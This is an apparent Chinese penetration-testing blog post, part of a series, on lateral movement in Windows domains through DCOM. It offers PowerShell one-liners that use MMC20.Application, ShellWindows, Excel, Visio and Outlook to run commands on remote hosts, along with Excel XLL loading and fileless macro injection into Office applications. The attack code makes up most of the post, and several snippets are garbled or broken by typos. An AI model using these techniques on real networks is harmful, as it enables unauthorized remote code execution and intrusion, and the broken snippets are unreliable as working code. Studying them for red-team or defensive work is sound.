域渗透基础 – 横向渗透(2)

/ 0评 / 0

域渗透基础 - 横向渗透

前言

在域渗透中,最重要的莫过于拿下边缘域机器中 ,如何进一步扩大权限,从而拿下整个域的权限。而横向渗透 更是重中之重,本篇文章将会简单总结域中横向渗透的几种基本方式
我会用几篇博客总结我所了解的所有内容

Dcom 远程执行

前提知识:

参考:https://www.freebuf.com/articles/network/256372.html
DCOM是COM(组件对象模型)的扩展,它允许应用程序实例化和访问远程计算机上COM对象的属性和方法
CLSID

-所述类标识符是一个GUID,它充当一个COM类的唯一标识符,并且每一个在Windows注册类与CLSID相关联(COM对象可以在没有登记使用,但是这超出了本文的范围) 。注册表中的CLSID密钥指向类的实现,如果是基于dll的对象,则使用InProcServer32子项;如果是exe ,则使用LocalServer32项。

ProgID

-该编程标识符是一个可选的标识符,其可被用作对用户更友好的替代一个CLSID,因为它不必坚持的CLSID的恐吓GUID格式(“System.AppDomainManager”,例如,是比GUID容易得多)。ProgID不能保证是唯一的,并且与CLSID不同,并非每个类都与ProgID相关联。
-该应用程序标识符用于指定一个的配置或多个COM对象与同一可执行相关联。这包括授予各个组的权限,以在本地和远程实例化和访问关联的类

为了使DCOM可访问COM对象,必须将AppID与该类的CLSID关联,并且需要为该AppID提供适当的权限。没有关联的AppID的COM对象不能从远程计算机直接访问。
在powershell中我们可以使用get-CimInstance列出本地COM程序列表 或者用工具OleView .NET

image-20210401225058639

远程DCOM对象的实例表现如下:

客户端计算机从远程计算机请求实例化由CLSID表示的对象。如果客户端使用ProgID,则首先将其本地解析为CLSID。
远程计算机检查是否存在与所讨论的CLSID关联的AppID,并验证客户端的权限。
如果一切顺利,则DCOMLaunch服务将创建所请求类的实例,通常是通过运行LocalServer32子项的可执行文件,或者通过创建DllHost进程来承载InProcServer32子项引用的dll。
在客户端应用程序和服务器进程之间建立通信。在大多数情况下,新过程是在与DCOM通信关联的会话中创建的。
然后,客户端可以访问新创建的对象的成员和方法。

前提条件:

具体步骤:

DCOM有很多利用的路线,我们简单提几种

MMC20.APPLICATION

mmc 控制台

image-20210401230628035

MMC20.APPlication通信

$a = [type]::GetTypeFromProgID("MMC20.application")   // 从GetTypeFromProgID()方法取回的类型的别名称之为“-ComObject”
$a  //所有的COM对象都是被封装为这个类型

image-20210401231805933

接下来我们来逐步分析过程

$b = [activator]::createInstance($a)   //通过Activator类的CreateInstance()方法来实例化一个对像 Activator对象用来创建.NET对象
$b | get-Member //get-Member cmdlet获取对象的成员,属性和方法
可以合并为:
[activator]::createInstance([type]::GetTypeFromProgID("MMC20.application"))| get-Member

首先我们建立通信后 获取一下对象方法

image-20210401232138676

继续跟进document

image-20210401232231796

跟进ActiveView

image-20210401232338177

肉眼可见,查查文档

ExecuteShellCommand([命令][目录][叁数][窗口状态])
命令、目录、参数应该都很熟悉 了解一下最后一个
窗口状态
一个指定窗口状态的值。该值可以是以下字符串值之一,也可以是空字符串。如果为空字符串,则默认为“已恢复”。
“Maximized”
该命令在最大化的窗口中执行。
“Minimized”
该命令在最小化的窗口中执行。
“Restored”
该命令在已恢复或正常的窗口中执行。注意:这里会弹个黑框框

所以,利用

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")

即可执行命令。看了下其他文章 说是需要管理员权限 我这边暂时没需要 具体原因未知

image-20210401232530575

这是本机命令 如何远程呢
我们知道DCOM具有通过网络与对象进行交互的能力,
阅读微软(https://docs.microsoft.com/en-us/previous-versions/ms741629(v=vs.85))的文档
在我们是管理员的前提下我们可以使用GetTypeFromProgID()powershell进行DCOM远程交互。
GetTypeFromProgID(“COM”,”远程ip”)
即可指定与哪一个远程IP进行交互。
(需要认证)

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application",'10.223.71.10')).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")

我本地测试一直失败。原因暂时未知

注:

在windows7,windows server 2008中默认安装powershell的版本是powershell 2.0
powershell 2.0 不支持Get-CimInstance,所以如果在powershell 2.0 中的话,我们可以所以如下命令代替Get-cimInstance 列出本地的DCOM程序列表

Get-WmiObject  -nameSpace root\cimv2 -class win32_dcomapplication
EXCEL DDE
$a = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","10.10.10.10"))
$a.DisplayAlerts = $false  //DisplayAlerts属性控制DDEInitiate提出的警报。 false为关
$a.DDEInitiate("cmd","/c calc,exe")
SHELLBROWSERWINDOW

首先创建ShellBrowserWindow对象的实例:

img

复制GUID

$a =  [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","10.10.10.10"))
$a =  [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","10.10.10.10")).Document.Application.ShellExecute("cmd.exe","/c clac.exe"."c:\windows32\system",$null,0)
SHELLWINDOWS
$a =  [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","10.10.10.10")).Document.Application.ShellExecute("cmd.exe","/c clac.exe"."c:\windows32\system",$null,0)

这个本地未成功 具体原因未知

VISIO ADDON EXECUTION

不是默认Office安装的一部分,因此没有普及,但Visio提供了可用于横向移动的DCOM对象。
创建Visio对象的实例。这可以通过Visio.Application ProgID或通过Visio.InvisibleApp ProgID完成:
这里使用的是ProgID

[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","10.10.10.10")).[0].document.app;ication.shellExecute("calc")

目标主机中安装有Visio才能成功利用

Outlook
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10")) .createObject("Shell.Application").shellExecute(calc.exe)

可以将“ Shell.Application”(已加载的shell32.dll中实现)对象替换为“ Wscript.Shell”.

Excel XLL
[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.APPLICATION","10.10.10.10")) .RegisterXLL("我们的恶意DLL路径")
任意脚本执行

通过CreateObject和ScriptControl执行OutlookScript
使用Outlook访问ScriptControl COM类,我们可以利用该字符串运行以字符串格式提供的脚本:

$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10")) .CreateObject("b")
$b.language = "VBScript"
$b.AddCode('CreateObject("Wcript.Shell").Exec("Calc.exe")')

ScriptControl对象是在msscript.ocx中实现的,很少使用,并且合法地加载此对象的Outlook实例是极为罕见的现象。此外,我们可以将加载jscript.dll或vbscript.dll来运行脚本本身。
限制-ScriptControl对象仅在32位版本中可用。由于64位进程无法加载32位inproc对象,因此64位Outlook无法与该对象进行交互。
Visio对象提供了一种直接方法,可以使用“ ExecuteLine”方法从字符串运行VBA的任何代码:

$a = [activator]::CreateInstance([type]::GetTypeFromProgID("a.invisibleapp","10.10.10.10"))
$b = $a.documents.Add("")
$b.Executeline('CreateObject("wscript.Shell").exec("calc.exe")')

VBE7.dll和ScrRun.dll已加载到Visio进程中
注意-ExecuteLine方法仅允许执行一行代码。通过使用冒号(:)符号将语句分隔在一行上,可以绕过此操作。

OFFICE无文件宏执行

Office中的VBA引擎模型通常是无法通过编程实现的,需要通过每个应用程序的属性菜单中的“对Visual Basic项目的信任访问”选项来启用。
也可以通过注册表中每个相关Office应用程序 HKCU\Software\Microsoft\Office<office version><office application name>\Security\accessVBOM的值来完成此操作。将这些值远程设置为1(例如,通过WMI)可以将VBA宏注入并执行到Excel,Word,PowerPoint和Access中,而无需首先提供带有文档文件的有效负载。
我们使用的宏来运行calc.exe:
下面是我们的宏代码

$a = 'Sub Execute()'
CreateObject("Wscript.Shell").Exec("calc.exe")
End Sub
Sub AutoOpen()
Excute
end Sub'

通过Excel执行:

$b = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.application"))
$c = $b.Workbooks.Add("")
$c.VBProject.VBComponents(1).codeModule.ADDFromString($a) //注意:这里加载我们上面的宏代码
$b.run("Book1!ThisWorkbook.Execute")
$b.Quit()

通过Word执行:

$b = [activator]::CreateInstance([type]::GetTypeFromProgID("word.application"))
$c = $b.Documents.Add("")
$c.VBProject.VBComponents(1).codeModule.ADDFromString($a) //注意:这里加载我们上面的宏代码
$c.runAutoMacro(2)
$b.Quit()

通过PowerPoint执行:

$ppt = [activator]::CreateInstance([type]::GetTypeFromProgID("Powerpoint.Applicatiion"))
$pres = $ppt.Presentations.add(1)
$vbs = $pres.VBProject.VbComponents.add(1)
$vbs.CodeModule.AddFromString($a)
$ppt.Run("Execute")
$ppt.Quit()

通过Access执行:

$access = [activator]::CreateInstance([type]::GetTypeFromProgID("access.Application"))
$db = $access.NewCurrentDatbase("Fake_name")
$vbc = access.vbe,V8projects(1).VBSComponents.Add(1)
$vbc.CodeModule.AddFromString($a)
$access.Run("Execute")
$access.Quit()

启用这些方法需要对某些注册表项进行操作,而这些注册表项很少会被远程调用,并且偶尔会被恶意宏使用。
这里还要应用程序加载Visual Basic环境(vbe7.dll)库。此外,由于需要保存文档,因此任何应用程序创建新文档都会使“ Quit”方法失败。这意味着潜在的有效负载需要以某种方式处理,以不显眼的方式取消父Office进程,从而避免使启用进程在执行后仍在环境中徘徊。与其他应用程序不同,访问留下了一个额外的工件,它需要实际创建一个数据库文件并将其保存到攻击者在磁盘上选择的位置,然后才能插入并执行宏。
注意:在64位版本的Windows上安装32位Office不会为相关应用程序注册appID

总结:

使用DCOM来进行横向使用的是[MS-RPCE]中指定的远程过程调用协议的,可以隐蔽地横向移动。
微软在MMC20.APPLICATION中并没有默认设置LaunchPermission值,也就是说默认使用的是DefaultLaunchPermission
而该值为administrator
均参考:https://www.freebuf.com/articles/network/256372.html

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注